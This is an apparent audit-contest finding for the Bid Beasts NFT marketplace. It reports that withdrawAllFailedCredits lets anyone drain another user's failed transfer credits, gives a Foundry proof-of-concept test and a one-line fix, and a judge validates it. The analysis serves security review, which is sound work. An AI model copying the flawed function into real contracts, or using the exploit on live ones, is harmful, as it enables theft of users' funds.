Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No Access Control In BidBeastsNFTMarketPlace::withdrawFailedCredits Allows Anyone To Withdraw Another User's Failed Credits

0xgutzzz

No Access Control In BidBeastsNFTMarketPlace::withdrawFailedCredits Allows Anyone To Withdraw Another User's Failed Credits

Description

  • The BidBeastsNFTMarketPlace::withdrawFailedCredits function allows users with failed credits to withdraw them but the function doesn't have any checks to confirm if the person calling this function is the msg.sender or not, allowing anyone to withdraw another user's failed credits.

    /**
    * @notice Allows users to withdraw funds that failed to be transferred directly.
    */
    // @audit --> msg.sender should be used instead of _receiver to avoid someone else withdrawing your credits
    function withdrawAllFailedCredits(address _receiver) external {
    uint256 amount = failedTransferCredits[_receiver];
    require(amount > 0, "No credits to withdraw");
    failedTransferCredits[msg.sender] = 0;
    (bool success, ) = payable(msg.sender).call{value: amount}("");
    require(success, "Withdraw failed");
    }

Risk : High risk

Likelihood:

  • The withdrawFailedCredits is an external function allowing anyone to call it, and since it doesn't have any checks to confirm if the individual calling it is the msg.sender calling the function, allowing anyone to drain another user of their credits.

Impact:

  • Loss of funds for users

Proof of Concept

function test_failedCreditsWithdrawalExploit() public {
// Simulate failed payout to BIDDER_1
uint256 failedAmount = 1 ether;
​
// Calculate the correct storage slot for failedTransferCredits mapping
// In Solidity, mapping storage slot = keccak256(abi.encode(key, mappingSlot))
// failedTransferCredits is declared after s_totalFee, listings, bids (slot 5)
bytes32 slot = keccak256(abi.encode(BIDDER_1, uint256(5)));
​
// Set credits for BIDDER_1
vm.store(address(market), slot, bytes32(failedAmount));
​
// BIDDER_2 (attacker) calls withdrawAllFailedCredits with BIDDER_1 as _receiver
uint256 balanceBefore = BIDDER_2.balance;
vm.prank(BIDDER_2);
// We expect this to revert if the transfer fails
try market.withdrawAllFailedCredits(BIDDER_1) {
// If transfer succeeds, BIDDER_2 should get the funds
assertEq(BIDDER_2.balance, balanceBefore + failedAmount, "Attacker stole credits");
assertEq(market.failedTransferCredits(BIDDER_1), 0, "Victim's credits should be zero");
} catch {
// If transfer fails, credits should remain
assertEq(market.failedTransferCredits(BIDDER_1), failedAmount, "Victim's credits should remain");
assertEq(BIDDER_2.balance, balanceBefore, "Attacker's balance should be unchanged");
}

Recommended Mitigation:

The function should check if the person calling the function is the msg.sender, if not it should revert

function withdrawAllFailedCredits(address _receiver) external {
+ require(_receiver == msg.sender, "Can only withdraw your own credits");
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!